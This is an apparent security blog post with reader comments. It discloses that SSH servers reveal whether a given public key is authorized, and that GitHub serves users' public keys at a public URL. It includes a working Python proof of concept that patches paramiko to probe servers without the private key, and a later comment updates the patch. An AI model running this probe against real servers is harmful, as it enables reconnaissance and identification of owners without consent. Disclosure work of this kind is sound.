Public SSH keys can leak your private infrastructure

Last updated on November 29, 2019 • in security

This article describes a minor security flaw in the SSH authentication protocol that can lead to unexpected private infrastructure disclosure. It also provides a PoC written in Python.

Asymmetric cryptography, or public-key cryptography, is the most common way to identify and authorize a user on an SSH server. It is also used to encrypt and manage access to different protocols or tools, such as Git, SFTP, SCP, and rsync.

Asymmetric cryptography uses a pair of keys: a public key and a private key. A public key can be restored from a private key, but not vice versa. It's a well-known fact that public keys meant to be public and can be widely shared. Unlike public keys, private keys must be not shared and kept in secret by their owners.

If you are using SSH keys to authorize on GitHub repositories, it automatically exposes them to everyone. To get public keys of a particular user, you just need to append .keys to the end of a username (e.g., `https://github.com/{username}.keys`).

```
$ curl https://github.com/ssh_username.keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS.....4GegDVgkD031qzTXfvsGsXPyFNYK653enI5U
```

This is a pretty unknown feature of GitHub that allows everyone to gain access to millions of public keys.

Update from a reader: As it turned out, GitLab does the same thing.

Update from a reader #2: Private on-premise Gitlab CE instances suffer from the same problem. Despite the fact that they are private and you can't list all users on them. It's possible to brute-force some common usernames and get the keys for existing users. Not only such instances serve public keys, but they also allow you to gain extra information about employees of a particular entity.

Authentication Protocol

When SSH client sends an auth request to a server, it enumerates all its public keys for which it has private keys. And the interesting detail here is that you don't need a private key to validate if a server allows access from a particular public/private key combination. That is, by having access to a public key, you can check if a server allows access for the specified public key and a username pair.

At first glance, it does not look like a big problem. But what if someone wants to target you or your company? An attacker can grab a bunch of public keys from GitHub and run an internet-wide scan of SSH servers on all IPv4 addresses. Some attackers can scan all IPs in a few days and I'm pretty sure government agencies have been using this for years now.

If your infrastructure runs on default SSH ports and uses default SSH usernames, such a technique can reveal additional targets for targeted attacks.

For most people, that is not a big deal, but for some companies with critical and industrial infrastructure, this can be a problem. Additionally, an attacker can also find some of your consulting clients or customers of your software solutions.

It can also be useful in the opposite direction. Suppose you have an IP address of a bulletproof server, and you want to know who owns it. If a server does not use tools like `fail2ban`, you can scrape all available keys from Github and slowly enumerate them all against the server. If you are lucky enough, that will give you an identity of an owner.

I found a similar proof of concept, that reads all SSH keys of an SSH client when it connects to a special server and checks them against a database of GitHub keys. Instead of a custom SSH server, you can also trick a person to clone a repo on a private Git server.

Technical details

SSH authentication works on top of the SSH transport protocol that provides session encryption and integrity protection. The user authentication happens after a transport session is fully established.

To send an auth request with a public key, a client must send a special message over the SSH transport protocol:

```
byte      SSH_MSG_USERAUTH_REQUEST
string    "root"  # user name in ISO-10646 UTF-8 encoding [RFC3629]
string    "ssh-connection" # service name in US-ASCII
string    "publickey"
boolean   FALSE
string    "ssh-rsa" # public key algorithm name
string    "AAAAB3..yFNYKffe" # public key blob
```

As you can see, the above message does not contain any information about the private key. Such requests can only tell if a server **acknowledges** a public key and is ready to check the ownership of a private key. That is actually enough for us to test any public key. When an SSH server does not contain a specific public key in its database (`~/.ssh/authorized_keys` file), it answers with a rejection message.

To perform the actual authentication, a client must sign the request from above with a private key. To do so, it must change the value of the boolean to TRUE and sign all the content of the message:

```
byte      SSH_MSG_USERAUTH_REQUEST
string    "root"  # user name in ISO-10646 UTF-8 encoding [RFC3629]
string    "ssh-connection" # service name in US-ASCII
```

```
string    "publickey"
boolean   TRUE
string    "ssh-rsa" # public key algorithm name
string    "AAAAB3..yFNYKffe" # public key blob
string    "..." # signature of all strings and values from the above signed by a
```

When a message is signed by a private key, the signature can be verified by a public key. This how a server can finally check that a client owns a private key and give full SSH access. To reduce the amount of network interaction with a server, a lot of the modern SSH clients sign it by default when they can.

To validate my understanding and test the auth against my servers, I used paramiko — the most popular SSH client for Python. Unfortunately, it does not allow a user to test a public key without the private key, so I had to patch it.

Here is my script that downloads a public key from Github or loads it from the file system and tests it against the specified server:

```
import logging
import socket
import sys

import paramiko.auth_handler
import requests
import argparse


def valid(self, msg):
    self.auth_event.set()
    self.authenticated = True
    print("Valid key")


def parse_service_accept(self, m):
    # https://tools.ietf.org/html/rfc4252#section-7
    service = m.get_text()
    if not (service == "ssh-userauth" and self.auth_method == "publickey"):
        return self._parse_service_accept(m)
    m = paramiko.message.Message()
    m.add_byte(paramiko.common.cMSG_USERAUTH_REQUEST)
    m.add_string(self.username)
    m.add_string("ssh-connection")
    m.add_string(self.auth_method)
    m.add_boolean(False)
```

```
    m.add_string(self.private_key.public_blob.key_type)
    m.add_string(self.private_key.public_blob.key_blob)
    self.transport._send_message(m)


def patch_paramiko():
    table = paramiko.auth_handler.AuthHandler._client_handler_table

    # In order to avoid using a private key, two callbacks must be patched.
    # The MSG_USERAUTH_INFO_REQUEST (SSH_MSG_USERAUTH_PK_OK 60) indicates a valid public key.
    table[paramiko.common.MSG_USERAUTH_INFO_REQUEST] = valid
    # The MSG_SERVICE_ACCEPT event triggers when server sends a request for auth.
    # By default, paramiko signs it with the private key. We don't want that.
    table[paramiko.common.MSG_SERVICE_ACCEPT] = parse_service_accept


def probe_host(hostname_or_ip, port, username, public_key):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((hostname_or_ip, port))
    transport = paramiko.transport.Transport(sock)
    transport.start_client()

    # For compatibility with paramiko, we need to generate a random private key and replace
    # the public key with our data.
    key = paramiko.RSAKey.generate(2048)
    key.public_blob = paramiko.pkey.PublicBlob.from_string(public_key)
    try:
        transport.auth_publickey(username, key)
    except paramiko.ssh_exception.AuthenticationException:
        print("Bad key")


def get_public_key(username):
    r = requests.get('https://github.com/%s.keys' % username)
    return r.content.decode('utf-8')


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('host', type=str, help='Hostname or IP address')
    parser.add_argument('--github-username', type=str, default=None)
    parser.add_argument('--ssh-username', type=str, default="root")
    parser.add_argument('--loglevel', default='INFO')
    parser.add_argument('--port', type=int, default=22)
    parser.add_argument('--public-key', type=str, default=None)

    args = parser.parse_args(sys.argv[1:])
    logging.basicConfig(level=args.loglevel)
    if args.github_username:
        key = get_public_key(args.github_username)
    elif args.public_key:
        key = open(args.public_key, 'rt').read()
```

```
    else:
        raise ValueError("Public key is missing. Please use --github-username or --public-ke

    patch_paramiko()
    probe_host(
        hostname_or_ip=args.host,
        port=args.port,
        username=args.ssh_username,
        public_key=key
    )


if __name__ == '__main__':
    main()
```

The code is also available in my GitHub repo.

To run it, you need to have Python 3, requests and paramiko installed:

```
$ pip3 install paramiko requests
$ python check.py example.org --github-username example --ssh-username root
```

As you can see, my script generates a random private key just to keep paramiko happy. The actual auth probing happens with a public key only.

Having one SSH key for everything is very convenient, but you probably should not be doing this.

Thanks to ValdikSS for pointing me to this SSH auth detail.

If you have any questions, feel free to ask them via e-mail displayed in the footer.
All articles on this website are written by a human.

Recent posts in Security category

security security

RSS

Comments

rjc 2019-11-29 #

> *This is a pretty unknown feature of GitHub that allows everyone to gain access to millions of public keys.*

Old news, i.e. https://changelog.com/posts/github-exposes-public-ssh-keys-for-its-users

There's even an API for it https://developer.github.com/v3/users/keys/#list-public-keys-for-a-user

REPLY

Artem 2019-11-29 #

That's definitely old news, but how does that prove that my statement is wrong? I think 90% of developers are not aware of that.

REPLY

mihai 2019-12-02 #

I think this is more of a vulnerability in the way SSH Protocol that checks if you own a private key. I always assumed it encrypts a challenge with the public keys and if the client can decrypt it, it must have it. Is there a CVE for this? I see it as an enumeration vulnerability.

EDIT: Thinking about it, I see this as a PoC, and soon enough somebody will create a Metasploit module for it :)

REPLY

ivan 2020-03-16 #

Create a different public key specifically for github and gitlab. Problem is gone.

REPLY

Peter 2021-09-16 #

Your blog post is mentioned in CVE-2016-20012: https://nvd.nist.gov/vuln/detail/CVE-2016-20012

Good work!!!

And a pull request is on Github https://github.com/openssh/openssh-portable/pull/270 which closes this vulnerability. But it seems, that the openssh devs does not merge the fix :-/

Note: In the pull request, there is an audit tool mentioned. This is the audit tool, which is able to do the man in the middle attack: https://github.com/ssh-mitm/ssh-mitm

REPLY

bain 2024-03-15 #

The PoC script still works, but paramiko should be patched differently:

```
def patch_paramiko():
    table = paramiko.auth_handler.AuthHandler._client_handler_table

    # In order to avoid using a private key, two callbacks must be patched.
    # The MSG_USERAUTH_INFO_REQUEST (SSH_MSG_USERAUTH_PK_OK 60) indicates a valid public
    paramiko.auth_handler.AuthHandler._parse_userauth_info_request = valid
    paramiko.auth_handler.AuthHandler._parse_service_accept = parse_service_accept
```

Otherwise it still works perfectly! Thanks!

REPLY

Leave a comment

NAME

Your name

MESSAGE

Your comment (markdown supported)

Post Comment

Back to top